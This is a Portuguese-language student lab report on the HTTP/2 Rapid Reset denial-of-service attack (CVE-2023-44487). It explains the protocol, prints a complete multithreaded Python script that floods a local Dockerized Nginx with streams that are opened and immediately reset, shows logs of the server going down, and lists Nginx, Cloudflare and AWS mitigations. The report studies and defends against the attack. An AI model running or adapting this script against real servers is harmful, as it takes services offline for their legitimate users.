HTTP/2 Rapid Reset Attack: Simulação, Análise e Mitigações

Lucas Gabriel Oliveira Lima - 231003406
Vinicius da Silva Araujo - 221001981

Julho 2025

Resumo

Este relatório apresenta uma análise do ataque HTTP/2 Rapid Reset, abordando sua mecânica, impactos de segurança e formas de mitigação. O projeto inclui uma simulação prática utilizando Docker, Nginx e Python, demonstrando o potencial de impacto e as estratégias para defesa.

1 Introdução

O ataque HTTP/2 Rapid Reset (CVE-2023-44487) representa uma ameaça significativa à disponibilidade de servidores web modernos que suportam o protocolo HTTP/2. Este projeto tem como objetivo simular e analisar o impacto desse ataque em ambientes controlados, utilizando uma infraestrutura baseada em Docker, Nginx e scripts Python. O código-fonte desse experimento está disponível seguite no repositório: https://github.com/lucasdbr05/http2-rapid-reset-attack-simulation.

A solução desenvolvida permite a configuração de um servidor Nginx vulnerável ao ataque, a execução de múltiplas requisições e resets rápidos por meio de um cliente Python, e o monitoramento detalhado dos efeitos no servidor. O ambiente foi projetado para ser seguro, isolado e facilmente reproduzível, facilitando a compreensão dos mecanismos do ataque e das possíveis estratégias de mitigação.

Este relatório apresenta a arquitetura da solução, os métodos de simulação do ataque, os resultados obtidos e as recomendações para proteger servidores HTTP/2 contra esse tipo de ameaça.

2 HTTP/2

O HTTP/2 representa uma evolução significativa do protocolo HTTP, trazendo diversas melhorias em relação ao HTTP/1.1. As principais mudanças incluem:

- **Multiplexação de Streams:** Permite múltiplas requisições e respostas simultâneas na mesma conexão TCP, eliminando o problema de bloqueio de cabeçalho de linha (head-of-line blocking) presente no HTTP/1.1.
- **Compressão de Cabeçalhos:** Utiliza o algoritmo HPACK para comprimir os cabeçalhos das mensagens, reduzindo o volume de dados transmitidos.
- **Priorização de Requisições:** O cliente pode indicar prioridades para diferentes streams, permitindo que recursos essenciais sejam entregues mais rapidamente.
- **Server Push:** O servidor pode enviar recursos ao cliente antes mesmo de serem solicitados, otimizando o carregamento de páginas.
- **Formato Binário:** O HTTP/2 utiliza um formato binário para transmissão dos dados, tornando o processamento mais eficiente e menos sujeito a ambiguidades.

Essas mudanças tornam o HTTP/2 mais rápido e eficiente, especialmente para aplicações web modernas que demandam múltiplos recursos simultâneos.

3 Ataque Rapid Reset no HTTP/2

3.1 Passo a passo de como funciona o ataque

O ataque Rapid Reset explora a forma como o protocolo HTTP/2 lida com o encerramento de streams. O atacante envia uma grande quantidade de requisições HTTP/2, cada uma imediatamente seguida por um frame `RST_STREAM` para cancelar a stream antes que o servidor possa processá-la. O ciclo é repetido rapidamente, criando milhares de streams e resets em sequência. Os principais passos são:

1. O atacante estabelece uma conexão HTTP/2 com o servidor alvo.
2. Inicia múltiplas streams, enviando requisições incompletas ou malformadas.
3. Imediatamente após iniciar cada stream, envia um frame `RST_STREAM` para cancelar a stream.
4. Repete o processo em alta velocidade, saturando os recursos do servidor.

3.2 Análise de Segurança: Impacto no Servidor Atacado

O ataque Rapid Reset explora uma vulnerabilidade na implementação do gerenciamento de streams do HTTP/2. O servidor precisa alocar recursos para cada nova stream, mesmo que ela seja rapidamente cancelada. Isso pode causar:

- Consumo excessivo de CPU e memória devido à criação e destruição rápida de streams.
- Exaustão de limites internos de gerenciamento de conexões e threads.
- Possível indisponibilidade do serviço, já que o servidor fica ocupado lidando com streams falsas e resets.

Servidores que não implementam mecanismos de limitação ou proteção contra esse padrão de comportamento ficam vulneráveis a negação de serviço (DoS).

3.3 Efeitos do Ataque no Alvo

Os principais efeitos observados em servidores alvo de um ataque Rapid Reset incluem:

- Degradação significativa de desempenho, com aumento da latência e queda na taxa de resposta.
- Interrupção parcial ou total do serviço, tornando o site ou API indisponível para usuários legítimos.
- Aumento do consumo de recursos computacionais, podendo afetar outros serviços hospedados no mesmo ambiente.
- Dificuldade de mitigação, já que o tráfego gerado pode se assemelhar a conexões legítimas do protocolo HTTP/2.

3.4 Implementação

Fizemos o ataque a partir de um código em python, implementando o que foi descrito nas etapas do ataque. Para aumentar a efetividade, trabalhamos com threads para aumentar a quantidade de requisições simultâneas ao alvo. A implementação foi feita da seguinte forma:

Listing 1: Ataque de sqlmap

```
1 import socket
2 import ssl
3 import time
4 import threading
5 import logging
6 from h2.connection import H2Connection
7
8 logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(threadName)s -
    %(message)s')
9 logger = logging.getLogger(__name__)
```

```
10
11  HOST = '127.0.0.1'
12  PORT = 8443
13  NUM_THREADS = 8
14  RESETS_PER_THREAD = 5000
15
16  def exploit_vulnerable_endpoint(thread_id):
17      try:
18          context = ssl.create_default_context()
19          context.check_hostname = False
20          context.verify_mode = ssl.CERT_NONE
21          context.set_alpn_protocols(['h2'])
22
23          sock = socket.create_connection((HOST, PORT))
24          conn = context.wrap_socket(sock, server_hostname=HOST)
25
26          logger.info(f"Thread {thread_id}: Conectado via {conn.
                selected_alpn_protocol()}")
27
28          h2_conn = H2Connection()
29          h2_conn.initiate_connection()
30          conn.sendall(h2_conn.data_to_send())
31
32          time.sleep(0.1)
33
34          successful_attacks = 0
35
36          endpoints = ['/vulnerable', '/slow', '/medium']
37
38          for i in range(RESETS_PER_THREAD):
39              endpoint = endpoints[i % len(endpoints)]
40              stream_id = (thread_id * 1000 + i) * 2 + 1
41
42              try:
43                  headers = [
44                      (':method', 'GET'),
45                      (':authority', f'{HOST}:{PORT}'),
46                      (':scheme', 'https'),
47                      (':path', f'{endpoint}?attack=rapid-reset&thread={thread_id
                            }&req={i}'),
48                      ('user-agent', 'HTTP2-Rapid-Reset-499-Generator/1.0'),
49                      ('accept', '*/*'),
50                      ('cache-control', 'no-cache'),
51                      ('connection', 'keep-alive'),
52                  ]
53
54                  h2_conn.send_headers(stream_id, headers, end_stream=False)
55                  conn.sendall(h2_conn.data_to_send())
56
57
58                  time.sleep(0.05)
59
60                  # RAPID RESET - cancela durante proxy_pass
61                  h2_conn.reset_stream(stream_id)
62                  conn.sendall(h2_conn.data_to_send())
63
64                  successful_attacks += 1
65
66                  if i % 10 == 0:
67                      time.sleep(0.1)
68                  else:
69                      time.sleep(0.01)
70
```

```
            except ConnectionResetError:
                logger.warning(f"Thread {thread_id}: Servidor fechou conex o - sucesso!")
                break
            except Exception as e:
                logger.error(f"Thread {thread_id}: Erro no stream {stream_id}: {e}")
                break

        conn.close()
        logger.info(f"Thread {thread_id}: Finalizada - {successful_attacks} ataques enviados")

    except Exception as e:
        logger.error(f"Thread {thread_id}: Erro fatal: {e}")

def mass_reset_attack():
    try:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        context.set_alpn_protocols(['h2'])

        sock = socket.create_connection((HOST, PORT))
        conn = context.wrap_socket(sock, server_hostname=HOST)

        logger.info(f"MassAttack: Conectado via {conn.selected_alpn_protocol()}")

        h2_conn = H2Connection()
        h2_conn.initiate_connection()
        conn.sendall(h2_conn.data_to_send())
        time.sleep(0.1)

        stream_ids = []
        for i in range(5*RESETS_PER_THREAD):
            stream_id = (9999 + i) * 2 + 1
            stream_ids.append(stream_id)

            headers = [
                (':method', 'GET'),
                (':authority', f'{HOST}:{PORT}'),
                (':scheme', 'https'),
                (':path', f'/?mass-attack=true&req={i}'),
                ('user-agent', 'HTTP2-Mass-Reset-Attack/1.0'),
            ]

            h2_conn.send_headers(stream_id, headers, end_stream=False)
            conn.sendall(h2_conn.data_to_send())
            time.sleep(0.05)
            h2_conn.reset_stream(stream_id)
            conn.sendall(h2_conn.data_to_send())

        logger.info(f"MassAttack: {5*RESETS_PER_THREAD} requisi  es enviadas, aguardando processamento...")
        conn.close()

    except Exception as e:
        logger.error(f"MassAttack: Erro: {e}")

def run_attack():
    print("="*73)
    print("ATAQUE HTTP/2 RAPID RESET")
```

```
    print("="*73)

    threads = []
    start_time = time.time()

    mass_thread = threading.Thread(target=mass_reset_attack, name="MassAttack")
    mass_thread.start()
    threads.append(mass_thread)

    time.sleep(0.5)

    for i in range(NUM_THREADS):
        t = threading.Thread(target=exploit_vulnerable_endpoint, args=(i,),
            name=f"ExploitThread-{i}")
        t.start()
        threads.append(t)
        time.sleep(0.05)

    for t in threads:
        t.join()

    end_time = time.time()
    duration = end_time - start_time

    print("\n ====>  ATAQUE CONCLUDO: <====")
    print(f"   Dura  o: {duration:.2f} segundos")
    print(f"   Threads: {NUM_THREADS + 1} (incluindo mass attack)")
    print(f"   Ataques enviados: ~{NUM_THREADS * RESETS_PER_THREAD + 5 *
        RESETS_PER_THREAD}")

    print("="*10)

if __name__ == "__main__":
    run_attack()
```

Além disso, no arquivo /server/monitor_server.py, foi feito um script de monitoramento dos logs do servidor, justamente com os comando "docker logs"e "docker stats", para facilitar a realização do monitoramento.

Foi também criado um método para analise e insight desses logs, no arquivo annalyze_results.py, nele, coletamos os recursos consumidos do servidor e analisamos os status das respostas obtidos das últimas requisições ao servidor.

3.5 Simulação

Ao fazer a simulação do ataque, subimos um container docker com o webserver configurado com Nginx, e então executamos o script de ataque direcionado ao servidor. Após alguns poucos minutos com o servidor sofrendo o ataque, foi-se possível fazer a sobrecarga do servidor, o deixando inoperante. Ao chegar nesse momento, tivemos que os logs a analise apontaram o seguinte:

```
[LOG] 172.26.0.1 - - [20/Jul/2025:21:57:34 +0000] "GET /vulnerable?attack=rapid-reset&thread=4&req=1194 HTTP/2.0" 499 0 "-"
"HTTP2-Rapid-Reset-499-Generator/1.0" rt=0.000 urt="-" connection_requests=1195 h2=h2
[LOG] 172.26.0.1 - - [20/Jul/2025:21:57:34 +0000] "GET /slow?attack=rapid-reset&thread=4&req=1195 HTTP/2.0" 499 0 "-" "HTTP
2-Rapid-Reset-499-Generator/1.0" rt=0.000 urt="-" connection_requests=1196 h2=h2
[18:57:52] CONTAINER              CPU %     MEM USAGE / LIMIT    NET I/O
server-nginx-http2-1   0.00%     7.996MiB / 3.77GiB   12MB / 7.01MB
[18:57:54] Timeout - servidor pode estar sobrecarregado
[18:57:55] CONTAINER              CPU %     MEM USAGE / LIMIT    NET I/O
server-nginx-http2-1   0.00%     7.996MiB / 3.77GiB   12.1MB / 7.05MB
[18:57:59] CONTAINER              CPU %     MEM USAGE / LIMIT    NET I/O
server-nginx-http2-1   0.00%     7.902MiB / 3.77GiB   12.2MB / 7.08MB
```

Figura 1: Logs e estatísticas do servidor no momento que o servidor se encontra sobrecarregado e indisponível, obtidos com o script de monitoramento, que formata os outputs dos comandos "docker logs"e "docker stats"

```
Notebook@DESKTOP-KPD5LVN MINGW64 /c/codas/http2-rapid-reset-attack-simullation (main)
$ python analyze_results.py
================================================================================
ANÁLISE DO ATAQUE HTTP/2 RAPID RESET SIMULADO
================================================================================

 ====> ESTATÍSTICAS DO SERVIDOR:
   Container: server-nginx-http2-1
   CPU Usage: 3.42%
   Memory Usage: 8.109MiB / 3.77GiB
   Network I/O: 10.1MB / 6.2MB
   Block I/O: 0B / 0B

 ====== ANÁLISE DOS LOGS: =======
   Total de linhas de log: 34151
   Requisições HTTP/2 processadas: 34108
   Linhas de erro: 0
   Linhas de aviso: 0

 =>  ÚLTIMAS ENTRADAS DO LOG:
   172.26.0.1 - - [20/Jul/2025:21:56:39 +0000] "GET /slow?attack=rapid-reset&thread=3&req=424 HTTP/2.0" 499 0 "-" "HTTP2-Ra
pid-Reset-499-Generator/1.0" rt=0.051 urt="-" connection_requests=425 h2=h2
   172.26.0.1 - - [20/Jul/2025:21:56:39 +0000] "GET /vulnerable?attack=rapid-reset&thread=5&req=420 HTTP/2.0" 499 0 "-" "HT
TP2-Rapid-Reset-499-Generator/1.0" rt=0.050 urt="-" connection_requests=421 h2=h2
```

Figura 2: Parte 1 do resultado da análise dos logs, mostrando o consumo do servidor e alguns dos últimos logs capturados

```
 ================================================================================

  ======> ANÁLISE DETALHADA DOS CÓDIGOS DE RESPOSTA: <======
  =====> Distribuição de códigos de resposta:
       • 200 OK: 5087
       • 499 Client Disconnected: 29069
       • 400 Bad Request: 0
       • 500 Server Error: 0
       • Total HTTP/2 requests: 34123

  TESTANDO VULNERABILIDADE ATUAL:
 Traceback (most recent call last):
   File "C:\codas\http2-rapid-reset-attack-simullation\analyze_results.py", line 106, in <module>
     test_server_vulnerability()
   File "C:\codas\http2-rapid-reset-attack-simullation\analyze_results.py", line 62, in test_server_vulnerability
     result = subprocess.run([
              ^^^^^^^^^^^^^^^
   File "C:\Python312\Lib\subprocess.py", line 550, in run
     stdout, stderr = process.communicate(input, timeout=timeout)
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   File "C:\Python312\Lib\subprocess.py", line 1209, in communicate
     stdout, stderr = self._communicate(input, endtime, timeout)
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   File "C:\Python312\Lib\subprocess.py", line 1630, in _communicate
     raise TimeoutExpired(self.args, orig_timeout)
 subprocess.TimeoutExpired: Command '['curl', '-k', '-s', '-w', '%{http_code}\\n', 'https://127.0.0.1:8443/vulnerable?attack
 =rapid-reset&thread=7&req=28']' timed out after 60 seconds
```

Figura 3: Análise de todos os retornos das requisições capturados durante a simulação, além de mostrar a tentativa de uma requisição ao servidor, que acabou dando timeout (após 1 minuto) por conta da sobrecarga ao servidor

4 Mitigações de Ataques HTTP/2 Rapid Reset

Para mitigar esse tipo de ataque, diferentes abordagens podem ser adotadas conforme o ambiente utilizado:

4.1 Cloudflare

O Cloudflare implementou regras automáticas de mitigação para ataques HTTP/2 Rapid Reset em sua plataforma. Usuários do serviço não precisam realizar configurações adicionais, pois a proteção é aplicada globalmente. O Cloudflare monitora padrões de tráfego e bloqueia requisições maliciosas, limitando o número de resets por conexão e aplicando *rate limiting* específico para frames RST_STREAM. Recomenda-se manter o serviço ativo e atualizado, além de acompanhar os comunicados de segurança da plataforma.

4.2 Nginx

Para mitigar ataques em servidores Nginx, é importante atualizar para versões recentes, pois correções específicas para o HTTP/2 Rapid Reset foram implementadas. Além disso, pode-se ajustar parâmetros de configuração para limitar o número de streams e resets por conexão, como:

- `http2_max_concurrent_streams`: Limita o número de streams simultâneos.
- `http2_recv_buffer_size`: Controla o tamanho do buffer de recepção.
- `keepalive_timeout`: Define o tempo máximo que uma conexão keepalive pode permanecer aberta. Um valor menor reduz o tempo disponível para ataques prolongados.
- `keepalive_requests`: Limita o número de requisições permitidas por conexão keepalive, evitando que um único cliente faça muitas requisições sem reestabelecer a conexão.
- `http2_max_requests`: Especifica o número máximo de requisições HTTP/2 permitidas por conexão, mitigando o envio excessivo de frames de reset.

Listing 2: Configuração do nosso Nginx protegido (nginx-safe.conf)

```
http2_max_concurrent_streams 128;
http2_max_requests 1000;
http2_recv_buffer_size 256k;

http2_recv_timeout 30s;
keepalive_timeout 10s;
keepalive_requests 1000;
```

Monitorar logs e ativar *rate limiting* para conexões suspeitas também é recomendado. O uso de firewalls de aplicação (WAF) e ferramentas de monitoramento auxilia na identificação de padrões anômalos de tráfego.

4.3 AWS

Na AWS, a mitigação pode ser feita utilizando serviços como AWS Shield, AWS WAF e Elastic Load Balancer (ELB):

- **AWS Shield**: Protege automaticamente contra ataques DDoS, incluindo variantes do HTTP/2 Rapid Reset.
- **AWS WAF**: Permite criar regras personalizadas para bloquear padrões de tráfego malicioso, como excesso de frames RST_STREAM.
- **Elastic Load Balancer**: Distribui o tráfego e pode ser configurado para limitar conexões e detectar comportamentos anômalos.

É fundamental manter todos os serviços atualizados e revisar as políticas de segurança periodicamente.

Essas práticas ajudam a reduzir o impacto de ataques HTTP/2 Rapid Reset, protegendo aplicações e infraestruturas contra sobrecarga e indisponibilidade.

5 Conclusão

Este projeto demonstrou, de forma prática e controlada, o funcionamento e o impacto do ataque HTTP/2 Rapid Reset (CVE-2023-44487) sobre servidores web modernos. Utilizando uma infraestrutura baseada em Nginx, Docker e Python, foi possível simular cenários reais de ataque, analisar o comportamento do servidor e testar diferentes estratégias de mitigação. A configuração segura do Nginx, aliada ao monitoramento contínuo e à análise detalhada dos logs, mostrou-se fundamental para reduzir a superfície de ataque e limitar o impacto de requisições maliciosas.

A abordagem experimental adotada permitiu não apenas compreender a vulnerabilidade, mas também validar medidas de defesa, contribuindo para o fortalecimento da segurança de aplicações HTTP/2 em ambientes reais.

Referências

[1] MITRE Corporation. *CVE-2023-44487: HTTP/2 Rapid Reset Attack*. Disponível em: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44487

[2] Juho Syrjälä e Bartek Nowotarski. *How Google is protecting users from a new vulnerability called HTTP/2 Rapid Reset*. Disponível em: https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack

[3] Lucas Pardue, Julien Desgats e David Bma. *HTTP/2 Rapid Reset: the largest DDoS attack we've ever seen*. Disponível em: https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack

[4] Amazon Web Services. *AWS Security Bulletin: AWS-2023-011 - HTTP/2 Rapid Reset Attack*. Disponível em: https://aws.amazon.com/security/security-bulletins/AWS-2023-011/